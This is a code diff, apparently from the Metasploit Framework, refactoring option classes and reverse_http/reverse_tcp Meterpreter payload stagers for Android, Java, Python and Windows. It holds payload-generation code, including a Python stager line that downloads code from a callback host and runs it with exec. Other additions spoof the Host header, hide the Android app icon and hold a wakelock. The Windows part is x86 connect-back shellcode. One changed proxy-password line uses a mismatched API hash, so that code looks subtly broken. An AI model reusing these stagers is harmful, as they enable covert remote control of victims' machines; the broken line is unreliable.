raise("Invalid Regex #{regex_temp}: #{e}")
|
||||
end
|
||||
end
|
||||
self.aliases = aliases
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if this is a required option.
|
||||
#
|
||||
def required?
|
||||
return required
|
||||
required
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if this is an advanced option.
|
||||
#
|
||||
def advanced?
|
||||
return advanced
|
||||
advanced
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if this is an evasion option.
|
||||
#
|
||||
def evasion?
|
||||
return evasion
|
||||
evasion
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if the supplied type is equivalent to this option's type.
|
||||
#
|
||||
def type?(in_type)
|
||||
return (type == in_type)
|
||||
type == in_type
|
||||
end
|
||||
|
||||
#
|
||||
@ -94,7 +117,7 @@ module Msf
|
||||
if regex
|
||||
return !!value.match(regex)
|
||||
end
|
||||
return true
|
||||
true
|
||||
end
|
||||
|
||||
#
|
||||
@ -102,7 +125,7 @@ module Msf
|
||||
# a valid value
|
||||
#
|
||||
def empty_required_value?(value)
|
||||
return (required? and value.nil?)
|
||||
required? && value.nil?
|
||||
end
|
||||
|
||||
#
|
||||
@ -169,6 +192,4 @@ module Msf
|
||||
|
||||
attr_writer :required, :desc, :default # :nodoc:
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
@ -1,48 +1,33 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
# Boolean option type
|
||||
class OptBool < OptBase
|
||||
TRUE_REGEX = /^(y|yes|t|1|true)$/i
|
||||
ANY_REGEX = /^(y|yes|n|no|t|f|0|1|true|false)$/i
|
||||
|
||||
###
|
||||
#
|
||||
# Boolean option.
|
||||
#
|
||||
###
|
||||
class OptBool < OptBase
|
||||
|
||||
TrueRegex = /^(y|yes|t|1|true)$/i
|
||||
|
||||
def type
|
||||
return 'bool'
|
||||
end
|
||||
|
||||
def valid?(value, check_empty: true)
|
||||
return false if empty_required_value?(value)
|
||||
|
||||
if ((value != nil and
|
||||
(value.to_s.empty? == false) and
|
||||
(value.to_s.match(/^(y|yes|n|no|t|f|0|1|true|false)$/i) == nil)))
|
||||
return false
|
||||
# This overrides default from 'nil' to 'false'
|
||||
def initialize(in_name, attrs = [],
|
||||
required: true, desc: nil, default: false, aliases: [])
|
||||
super
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
def type
|
||||
return 'bool'
|
||||
end
|
||||
|
||||
def normalize(value)
|
||||
if(value.nil? or value.to_s.match(TrueRegex).nil?)
|
||||
false
|
||||
else
|
||||
true
|
||||
def valid?(value, check_empty: true)
|
||||
return false if check_empty && empty_required_value?(value)
|
||||
return true if value.nil? && !required?
|
||||
|
||||
!(value.nil? ||
|
||||
value.to_s.empty? ||
|
||||
value.to_s.match(ANY_REGEX).nil?)
|
||||
end
|
||||
|
||||
def normalize(value)
|
||||
!(value.nil? ||
|
||||
value.to_s.match(TRUE_REGEX).nil?)
|
||||
end
|
||||
end
|
||||
|
||||
def is_true?(value)
|
||||
return normalize(value)
|
||||
end
|
||||
|
||||
def is_false?(value)
|
||||
return !is_true?(value)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
@ -1,48 +1,49 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Enum option.
|
||||
#
|
||||
###
|
||||
class OptEnum < OptBase
|
||||
|
||||
def type
|
||||
return 'enum'
|
||||
end
|
||||
|
||||
def valid?(value=self.value, check_empty: true)
|
||||
return false if check_empty && empty_required_value?(value)
|
||||
return true if value.nil? and !required?
|
||||
|
||||
(value and self.enums.include?(value.to_s))
|
||||
end
|
||||
|
||||
def normalize(value=self.value)
|
||||
return nil if not self.valid?(value)
|
||||
return value.to_s
|
||||
end
|
||||
|
||||
def desc=(value)
|
||||
self.desc_string = value
|
||||
|
||||
self.desc
|
||||
end
|
||||
|
||||
def desc
|
||||
if self.enums
|
||||
str = self.enums.join(', ')
|
||||
###
|
||||
#
|
||||
# Enum option.
|
||||
#
|
||||
###
|
||||
class OptEnum < OptBase
|
||||
def type
|
||||
return 'enum'
|
||||
end
|
||||
"#{self.desc_string || ''} (Accepted: #{str})"
|
||||
|
||||
# This overrides required default from 'false' to 'true'
|
||||
def initialize(in_name, attrs = [],
|
||||
required: true, desc: nil, default: nil, enums: [], aliases: [])
|
||||
super
|
||||
end
|
||||
|
||||
def valid?(value = self.value, check_empty: true)
|
||||
return false if check_empty && empty_required_value?(value)
|
||||
return true if value.nil? && !required?
|
||||
|
||||
!value.nil? && enums.include?(value.to_s)
|
||||
end
|
||||
|
||||
def normalize(value = self.value)
|
||||
if valid?(value)
|
||||
value.to_s
|
||||
else
|
||||
nil
|
||||
end
|
||||
end
|
||||
|
||||
def desc=(value)
|
||||
self.desc_string = value
|
||||
desc
|
||||
end
|
||||
|
||||
def desc
|
||||
str = enums.join(', ') if enums
|
||||
"#{desc_string || ''} (Accepted: #{str})"
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
attr_accessor :desc_string # :nodoc:
|
||||
end
|
||||
|
||||
|
||||
protected
|
||||
|
||||
attr_accessor :desc_string # :nodoc:
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
@ -56,7 +56,12 @@ module Msf::Payload::Android
|
||||
}
|
||||
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts).to_b
|
||||
config[0] = "\x01" if opts[:stageless]
|
||||
flags = 0
|
||||
flags |= 1 if opts[:stageless]
|
||||
flags |= 2 if ds['AndroidMeterpreterDebug']
|
||||
flags |= 4 if ds['AndroidWakelock']
|
||||
flags |= 8 if ds['AndroidHideAppIcon']
|
||||
config[0] = flags.chr
|
||||
config
|
||||
end
|
||||
|
||||
|
18
lib/msf/core/payload/android/payload_options.rb
Normal file
18
lib/msf/core/payload/android/payload_options.rb
Normal file
@ -0,0 +1,18 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
module Msf::Payload::Android::PayloadOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(info)
|
||||
register_advanced_options(
|
||||
[
|
||||
Msf::OptBool.new('AndroidMeterpreterDebug', [ false, "Run the payload in debug mode, with logging enabled" ]),
|
||||
Msf::OptBool.new('AndroidWakelock', [ false, "Acquire a wakelock before starting the payload" ]),
|
||||
Msf::OptBool.new('AndroidHideAppIcon', [ false, "Hide the application icon automatically after launch" ]),
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
end
|
@ -2,6 +2,7 @@
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/android/payload_options'
|
||||
require 'msf/core/payload/uuid/options'
|
||||
|
||||
module Msf
|
||||
@ -16,8 +17,17 @@ module Payload::Android::ReverseHttp
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Android
|
||||
include Msf::Payload::Android::PayloadOptions
|
||||
include Msf::Payload::UUID::Options
|
||||
|
||||
#
|
||||
# Register reverse_http specific options
|
||||
#
|
||||
def initialize(*args)
|
||||
super
|
||||
register_advanced_options(Msf::Opt::http_header_options)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the transport-specific configuration
|
||||
#
|
||||
|
@ -2,6 +2,7 @@
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/android/payload_options'
|
||||
|
||||
module Msf
|
||||
|
||||
@ -15,6 +16,7 @@ module Payload::Android::ReverseTcp
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Android
|
||||
include Msf::Payload::Android::PayloadOptions
|
||||
|
||||
#
|
||||
# Generate the transport-specific configuration
|
||||
|
@ -23,10 +23,13 @@ module Payload::Java::ReverseHttp
|
||||
#
|
||||
def initialize(*args)
|
||||
super
|
||||
register_advanced_options([
|
||||
Msf::OptInt.new('Spawn', [true, 'Number of subprocesses to spawn', 2]),
|
||||
Msf::OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)'])
|
||||
])
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('Spawn', [true, 'Number of subprocesses to spawn', 2]),
|
||||
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
|
||||
] +
|
||||
Msf::Opt::http_header_options
|
||||
)
|
||||
end
|
||||
|
||||
#
|
||||
@ -64,6 +67,10 @@ module Payload::Java::ReverseHttp
|
||||
|
||||
c = ''
|
||||
c << "Spawn=#{ds["Spawn"] || 2}\n"
|
||||
c << "HeaderUser-Agent=#{ds["HttpUserAgent"]}\n" if ds["HttpUserAgent"]
|
||||
c << "HeaderHost=#{ds["HttpHostHeader"]}\n" if ds["HttpHostHeader"]
|
||||
c << "HeaderReferer=#{ds["HttpReferer"]}\n" if ds["HttpReferer"]
|
||||
c << "HeaderCookie=#{ds["HttpCookie"]}\n" if ds["HttpCookie"]
|
||||
c << "URL=#{scheme}://#{ds['LHOST']}"
|
||||
c << ":#{ds['LPORT']}" if ds['LPORT']
|
||||
c << luri
|
||||
|
@ -22,16 +22,12 @@ module Payload::Multi::ReverseHttp
|
||||
#
|
||||
def initialize(*args)
|
||||
super
|
||||
register_advanced_options([
|
||||
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
|
||||
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10],
|
||||
aliases: ['ReverseConnectRetries']),
|
||||
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
|
||||
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
|
||||
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
|
||||
OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']),
|
||||
OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']])
|
||||
])
|
||||
register_advanced_options(
|
||||
[ OptInt.new('StagerURILength', 'The URI length for the stager (at least 5 bytes)') ] +
|
||||
Msf::Opt::stager_retry_options +
|
||||
Msf::Opt::http_header_options +
|
||||
Msf::Opt::http_proxy_options
|
||||
)
|
||||
end
|
||||
|
||||
#
|
||||
@ -67,4 +63,3 @@ module Payload::Multi::ReverseHttp
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
@ -28,10 +28,20 @@ module Payload::Python::MeterpreterLoader
|
||||
'Stager' => {'Payload' => ""}
|
||||
))
|
||||
|
||||
register_advanced_options([
|
||||
OptBool.new('MeterpreterTryToFork', [ true, 'Fork a new process if the functionality is available', true ]),
|
||||
OptBool.new('PythonMeterpreterDebug', [ true, 'Enable debugging for the Python meterpreter', false ])
|
||||
], self.class)
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new(
|
||||
'MeterpreterTryToFork',
|
||||
'Fork a new process if the functionality is available',
|
||||
default: true
|
||||
),
|
||||
OptBool.new(
|
||||
'PythonMeterpreterDebug',
|
||||
'Enable debugging for the Python meterpreter'
|
||||
),
|
||||
] +
|
||||
Msf::Opt::http_header_options
|
||||
)
|
||||
end
|
||||
|
||||
def stage_payload(opts={})
|
||||
@ -85,17 +95,40 @@ module Payload::Python::MeterpreterLoader
|
||||
end
|
||||
met.sub!("SESSION_GUID = \'\'", "SESSION_GUID = \'#{session_guid}\'")
|
||||
|
||||
http_user_agent = opts[:http_user_agent] || ds['MeterpreterUserAgent']
|
||||
http_proxy_host = opts[:http_proxy_host] || ds['PayloadProxyHost'] || ds['PROXYHOST']
|
||||
http_proxy_port = opts[:http_proxy_port] || ds['PayloadProxyPort'] || ds['PROXYPORT']
|
||||
http_user_agent = opts[:http_user_agent] || ds['HttpUserAgent']
|
||||
http_proxy_host = opts[:http_proxy_host] || ds['HttpProxyHost'] || ds['PROXYHOST']
|
||||
http_proxy_port = opts[:http_proxy_port] || ds['HttpProxyPort'] || ds['PROXYPORT']
|
||||
http_header_host = opts[:header_host] || ds['HttpHostHeader']
|
||||
http_header_cookie = opts[:header_cookie] || ds['HttpCookie']
|
||||
http_header_referer = opts[:header_referer] || ds['HttpReferer']
|
||||
|
||||
# patch in the stageless http(s) connection url
|
||||
met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(opts[:url])}'") if opts[:url].to_s != ''
|
||||
met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(http_user_agent)}'") if http_user_agent.to_s != ''
|
||||
# The callback URL can be different to the one that we're receiving from the interface
|
||||
# so we need to generate it
|
||||
# TODO: move this to somewhere more common so that it can be used across payload types
|
||||
unless opts[:url].to_s == ''
|
||||
uri = "/#{opts[:url].split('/').reject(&:empty?)[-1]}"
|
||||
callback_url = [
|
||||
opts[:url].to_s.split(':')[0],
|
||||
'://',
|
||||
(ds['OverrideRequestHost'] == true ? ds['OverrideRequestLHOST'] : ds['LHOST']).to_s,
|
||||
':',
|
||||
(ds['OverrideRequestHost'] == true ? ds['OverrideRequestLPORT'] : ds['LPORT']).to_s,
|
||||
ds['LURI'].to_s,
|
||||
uri,
|
||||
'/'
|
||||
].join('')
|
||||
|
||||
if http_proxy_host.to_s != ''
|
||||
proxy_url = "http://#{http_proxy_host}:#{http_proxy_port}"
|
||||
met.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
|
||||
# patch in the various payload related configuration
|
||||
met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(callback_url)}'")
|
||||
met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(http_user_agent)}'") if http_user_agent.to_s != ''
|
||||
met.sub!('HTTP_COOKIE = None', "HTTP_COOKIE = '#{var_escape.call(http_header_cookie)}'") if http_header_cookie.to_s != ''
|
||||
met.sub!('HTTP_HOST = None', "HTTP_HOST = '#{var_escape.call(http_header_host)}'") if http_header_host.to_s != ''
|
||||
met.sub!('HTTP_REFERER = None', "HTTP_REFERER = '#{var_escape.call(http_header_referer)}'") if http_header_referer.to_s != ''
|
||||
|
||||
if http_proxy_host.to_s != ''
|
||||
proxy_url = "http://#{http_proxy_host}:#{http_proxy_port}"
|
||||
met.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
|
||||
end
|
||||
end
|
||||
|
||||
# patch in any optional stageless tcp socket setup
|
||||
|
@ -11,11 +11,10 @@ module Payload::Python::ReverseHttp
|
||||
|
||||
def initialize(info = {})
|
||||
super(info)
|
||||
register_options(
|
||||
[
|
||||
OptString.new('PayloadProxyHost', [ false, "The proxy server's IP address" ]),
|
||||
OptPort.new('PayloadProxyPort', [ true, "The proxy port to connect to", 8080 ])
|
||||
], self.class)
|
||||
register_advanced_options(
|
||||
Msf::Opt::http_header_options +
|
||||
Msf::Opt::http_proxy_options
|
||||
)
|
||||
end
|
||||
|
||||
#
|
||||
@ -24,11 +23,14 @@ module Payload::Python::ReverseHttp
|
||||
def generate(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
opts.merge!({
|
||||
host: ds['LHOST'] || '127.127.127.127',
|
||||
port: ds['LPORT'],
|
||||
proxy_host: ds['PayloadProxyHost'],
|
||||
proxy_port: ds['PayloadProxyPort'],
|
||||
user_agent: ds['MeterpreterUserAgent']
|
||||
host: ds['LHOST'] || '127.127.127.127',
|
||||
port: ds['LPORT'],
|
||||
proxy_host: ds['HttpProxyHost'],
|
||||
proxy_port: ds['HttpProxyPort'],
|
||||
user_agent: ds['HttpUserAgent'],
|
||||
header_host: ds['HttpHostHeader'],
|
||||
header_cookie: ds['HttpCookie'],
|
||||
header_referer: ds['HttpReferer']
|
||||
})
|
||||
opts[:scheme] = 'http' if opts[:scheme].nil?
|
||||
|
||||
@ -104,9 +106,18 @@ module Payload::Python::ReverseHttp
|
||||
cmd << "hs.append(ul.ProxyHandler({'#{opts[:scheme]}':'#{var_escape.call(proxy_url)}'}))\n"
|
||||
end
|
||||
|
||||
headers = []
|
||||
headers << "('User-Agent','#{var_escape.call(opts[:user_agent])}')"
|
||||
headers << "('Cookie','#{var_escape.call(opts[:header_cookie])}')" if opts[:header_cookie]
|
||||
headers << "('Referer','#{var_escape.call(opts[:header_referer])}')" if opts[:header_referer]
|
||||
|
||||
cmd << "o=ul.build_opener(*hs)\n"
|
||||
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(opts[:user_agent])}')]\n"
|
||||
cmd << "exec(o.open('#{generate_callback_url(opts)}').read())\n"
|
||||
cmd << "o.addheaders=[#{headers.join(',')}]\n"
|
||||
if opts[:header_host]
|
||||
cmd << "exec(o.open(ul.Request('#{generate_callback_url(opts)}',None,{'Host':'#{var_escape.call(opts[:header_host])}'})).read())\n"
|
||||
else
|
||||
cmd << "exec(o.open('#{generate_callback_url(opts)}').read())\n"
|
||||
end
|
||||
|
||||
py_create_exec_stub(cmd)
|
||||
end
|
||||
|
@ -18,11 +18,7 @@ module Payload::Python::ReverseTcp
|
||||
|
||||
def initialize(*args)
|
||||
super
|
||||
register_advanced_options([
|
||||
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10],
|
||||
aliases: ['ReverseConnectRetries']),
|
||||
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5])
|
||||
], self.class)
|
||||
register_advanced_options(Msf::Opt::stager_retry_options)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -17,11 +17,7 @@ module Payload::Python::ReverseTcpSsl
|
||||
include Msf::Payload::Python::ReverseTcp
|
||||
def initialize(*args)
|
||||
super
|
||||
register_advanced_options([
|
||||
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10],
|
||||
aliases: ['ReverseConnectRetries']),
|
||||
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5])
|
||||
], self.class)
|
||||
register_advanced_options(Msf::Opt::stager_retry_options)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -56,16 +56,20 @@ module Msf::Payload::TransportConfig
|
||||
|
||||
ds = opts[:datastore] || datastore
|
||||
{
|
||||
scheme: ds['OverrideScheme'] || 'http',
|
||||
lhost: opts[:lhost] || ds['LHOST'],
|
||||
lport: (opts[:lport] || ds['LPORT']).to_i,
|
||||
uri: uri,
|
||||
ua: ds['MeterpreterUserAgent'],
|
||||
proxy_host: ds['PayloadProxyHost'],
|
||||
proxy_port: ds['PayloadProxyPort'],
|
||||
proxy_type: ds['PayloadProxyType'],
|
||||
proxy_user: ds['PayloadProxyUser'],
|
||||
proxy_pass: ds['PayloadProxyPass']
|
||||
scheme: ds['OverrideScheme'] || 'http',
|
||||
lhost: opts[:lhost] || ds['LHOST'],
|
||||
lport: (opts[:lport] || ds['LPORT']).to_i,
|
||||
uri: uri,
|
||||
ua: ds['HttpUserAgent'],
|
||||
proxy_host: ds['HttpProxyHost'],
|
||||
proxy_port: ds['HttpProxyPort'],
|
||||
proxy_type: ds['HttpProxyType'],
|
||||
proxy_user: ds['HttpProxyUser'],
|
||||
proxy_pass: ds['HttpProxyPass'],
|
||||
host: ds['HttpHostHeader'],
|
||||
cookie: ds['HttpCookie'],
|
||||
referer: ds['HttpReferer'],
|
||||
custom_headers: get_custom_headers(ds)
|
||||
}.merge(timeout_config(opts))
|
||||
end
|
||||
|
||||
@ -80,6 +84,19 @@ module Msf::Payload::TransportConfig
|
||||
|
||||
private
|
||||
|
||||
def get_custom_headers(ds)
|
||||
headers = ""
|
||||
headers << "Host: #{ds['HttpHostHeader']}\r\n" if ds['HttpHostHeader']
|
||||
headers << "Cookie: #{ds['HttpCookie']}\r\n" if ds['HttpCookie']
|
||||
headers << "Referer: #{ds['HttpReferer']}\r\n" if ds['HttpReferer']
|
||||
|
||||
if headers.length > 0
|
||||
headers
|
||||
else
|
||||
nil
|
||||
end
|
||||
end
|
||||
|
||||
def timeout_config(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
{
|
||||
|
@ -254,6 +254,10 @@ class Msf::Payload::UUID
|
||||
self.xor1 = opts[:xor1]
|
||||
self.xor2 = opts[:xor2]
|
||||
|
||||
self.timestamp = nil
|
||||
self.name = nil
|
||||
self.registered = false
|
||||
|
||||
if opts[:seed]
|
||||
self.puid = self.class.seed_to_puid(opts[:seed])
|
||||
end
|
||||
@ -367,6 +371,10 @@ class Msf::Payload::UUID
|
||||
self
|
||||
end
|
||||
|
||||
attr_accessor :registered
|
||||
attr_accessor :timestamp
|
||||
attr_accessor :name
|
||||
|
||||
attr_reader :arch
|
||||
attr_reader :platform
|
||||
|
||||
|
@ -27,17 +27,12 @@ module Payload::Windows::ReverseHttp
|
||||
#
|
||||
def initialize(*args)
|
||||
super
|
||||
register_advanced_options([
|
||||
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
|
||||
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10],
|
||||
aliases: ['ReverseConnectRetries']),
|
||||
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5]),
|
||||
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
|
||||
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
|
||||
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
|
||||
OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']),
|
||||
OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']])
|
||||
], self.class)
|
||||
register_advanced_options(
|
||||
[ OptInt.new('StagerURILength', 'The URI length for the stager (at least 5 bytes)') ] +
|
||||
Msf::Opt::stager_retry_options +
|
||||
Msf::Opt::http_header_options +
|
||||
Msf::Opt::http_proxy_options
|
||||
)
|
||||
end
|
||||
|
||||
#
|
||||
@ -47,22 +42,23 @@ module Payload::Windows::ReverseHttp
|
||||
ds = opts[:datastore] || datastore
|
||||
conf = {
|
||||
ssl: opts[:ssl] || false,
|
||||
host: ds['LHOST'],
|
||||
host: ds['LHOST'] || '127.127.127.127',
|
||||
port: ds['LPORT'],
|
||||
retry_count: ds['StagerRetryCount'],
|
||||
retry_wait: ds['StagerRetryWait']
|
||||
retry_wait: ds['StagerRetryWait']
|
||||
}
|
||||
|
||||
# Add extra options if we have enough space
|
||||
if self.available_space && required_space <= self.available_space
|
||||
conf[:url] = luri + generate_uri(opts)
|
||||
conf[:exitfunk] = ds['EXITFUNC']
|
||||
conf[:ua] = ds['MeterpreterUserAgent']
|
||||
conf[:proxy_host] = ds['PayloadProxyHost']
|
||||
conf[:proxy_port] = ds['PayloadProxyPort']
|
||||
conf[:proxy_user] = ds['PayloadProxyUser']
|
||||
conf[:proxy_pass] = ds['PayloadProxyPass']
|
||||
conf[:proxy_type] = ds['PayloadProxyType']
|
||||
if self.available_space.nil? || required_space <= self.available_space
|
||||
conf[:url] = luri + generate_uri(opts)
|
||||
conf[:exitfunk] = ds['EXITFUNC']
|
||||
conf[:ua] = ds['HttpUserAgent']
|
||||
conf[:proxy_host] = ds['HttpProxyHost']
|
||||
conf[:proxy_port] = ds['HttpProxyPort']
|
||||
conf[:proxy_user] = ds['HttpProxyUser']
|
||||
conf[:proxy_pass] = ds['HttpProxyPass']
|
||||
conf[:proxy_type] = ds['HttpProxyType']
|
||||
conf[:custom_headers] = get_custom_headers(ds)
|
||||
else
|
||||
# Otherwise default to small URIs
|
||||
conf[:url] = luri + generate_small_uri
|
||||
@ -71,6 +67,22 @@ module Payload::Windows::ReverseHttp
|
||||
generate_reverse_http(conf)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the custom headers string
|
||||
#
|
||||
def get_custom_headers(ds)
|
||||
headers = ""
|
||||
headers << "Host: #{ds['HttpHostHeader']}\r\n" if ds['HttpHostHeader']
|
||||
headers << "Cookie: #{ds['HttpCookie']}\r\n" if ds['HttpCookie']
|
||||
headers << "Referer: #{ds['HttpReferer']}\r\n" if ds['HttpReferer']
|
||||
|
||||
if headers.length > 0
|
||||
headers
|
||||
else
|
||||
nil
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
@ -138,10 +150,23 @@ module Payload::Windows::ReverseHttp
|
||||
# Proxy options?
|
||||
space += 200
|
||||
|
||||
# Custom headers? Ugh, impossible to tell
|
||||
space += 512
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
|
||||
#
|
||||
# Convert a string into a NULL-terminated ASCII byte array
|
||||
#
|
||||
def asm_generate_ascii_array(str)
|
||||
(str.to_s + "\x00").
|
||||
unpack("C*").
|
||||
map{ |c| "0x%.2x" % c }.
|
||||
join(",")
|
||||
end
|
||||
|
||||
#
|
||||
# Generate an assembly stub with the configured feature set and options.
|
||||
#
|
||||
@ -155,6 +180,7 @@ module Payload::Windows::ReverseHttp
|
||||
# @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS
|
||||
# @option opts [String] :proxy_user The optional proxy server username
|
||||
# @option opts [String] :proxy_pass The optional proxy server password
|
||||
# @option opts [String] :custom_headers The optional collection of custom headers for the payload.
|
||||
# @option opts [Integer] :retry_count The number of times to retry a failed request before giving up
|
||||
# @option opts [Integer] :retry_wait The seconds to wait before retry a new request
|
||||
#
|
||||
@ -181,6 +207,8 @@ module Payload::Windows::ReverseHttp
|
||||
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : opts[:proxy_user]
|
||||
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass]
|
||||
|
||||
custom_headers = opts[:custom_headers].to_s.length == 0 ? nil : asm_generate_ascii_array(opts[:custom_headers])
|
||||
|
||||
http_open_flags = 0
|
||||
secure_flags = 0
|
||||
|
||||
@ -222,10 +250,10 @@ module Payload::Windows::ReverseHttp
|
||||
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
|
||||
push 0x696e6977 ; ...
|
||||
push esp ; Push a pointer to the "wininet" string on the stack.
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
|
||||
call ebp ; LoadLibraryA( "wininet" )
|
||||
xor ebx, ebx ; Set ebx to NULL to use in future arguments
|
||||
^
|
||||
^
|
||||
|
||||
if proxy_enabled
|
||||
asm << %Q^
|
||||
@ -238,7 +266,7 @@ module Payload::Windows::ReverseHttp
|
||||
; LPCTSTR lpszProxyName (via call)
|
||||
push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
|
||||
push ebx ; LPCTSTR lpszAgent (NULL)
|
||||
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
|
||||
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')}
|
||||
call ebp
|
||||
^
|
||||
else
|
||||
@ -249,7 +277,7 @@ module Payload::Windows::ReverseHttp
|
||||
push ebx ; LPCTSTR lpszProxyName (NULL)
|
||||
push ebx ; DWORD dwAccessType (PRECONFIG = 0)
|
||||
push ebx ; LPCTSTR lpszAgent (NULL)
|
||||
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
|
||||
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')}
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
@ -267,10 +295,10 @@ module Payload::Windows::ReverseHttp
|
||||
db "#{opts[:url]}", 0x00
|
||||
got_server_host:
|
||||
push eax ; HINTERNET hInternet (still in eax from InternetOpenA)
|
||||
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
|
||||
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetConnectA')}
|
||||
call ebp
|
||||
mov esi, eax ; Store hConnection in esi
|
||||
^
|
||||
^
|
||||
|
||||
# Note: wine-1.6.2 does not support SSL w/proxy authentication properly, it
|
||||
# doesn't set the Proxy-Authorization header on the CONNECT request.
|
||||
@ -286,7 +314,7 @@ module Payload::Windows::ReverseHttp
|
||||
; LPVOID lpBuffer (username from previous call)
|
||||
push 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
|
||||
push esi ; hConnection
|
||||
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
|
||||
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
@ -302,7 +330,7 @@ module Payload::Windows::ReverseHttp
|
||||
; LPVOID lpBuffer (password from previous call)
|
||||
push 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
|
||||
push esi ; hConnection
|
||||
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
|
||||
push #{Rex::Text.block_api_hash('wininet.dll', 'HttpAddRequestHeaders')}
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
@ -317,7 +345,7 @@ module Payload::Windows::ReverseHttp
|
||||
push edi ; server URI
|
||||
push ebx ; method
|
||||
push esi ; hConnection
|
||||
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
|
||||
push #{Rex::Text.block_api_hash('wininet.dll', 'HttpOpenRequestA')}
|
||||
call ebp
|
||||
xchg esi, eax ; save hHttpRequest in esi
|
||||
^
|
||||
@ -334,7 +362,6 @@ module Payload::Windows::ReverseHttp
|
||||
send_request:
|
||||
^
|
||||
|
||||
|
||||
if opts[:ssl]
|
||||
asm << %Q^
|
||||
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
|
||||
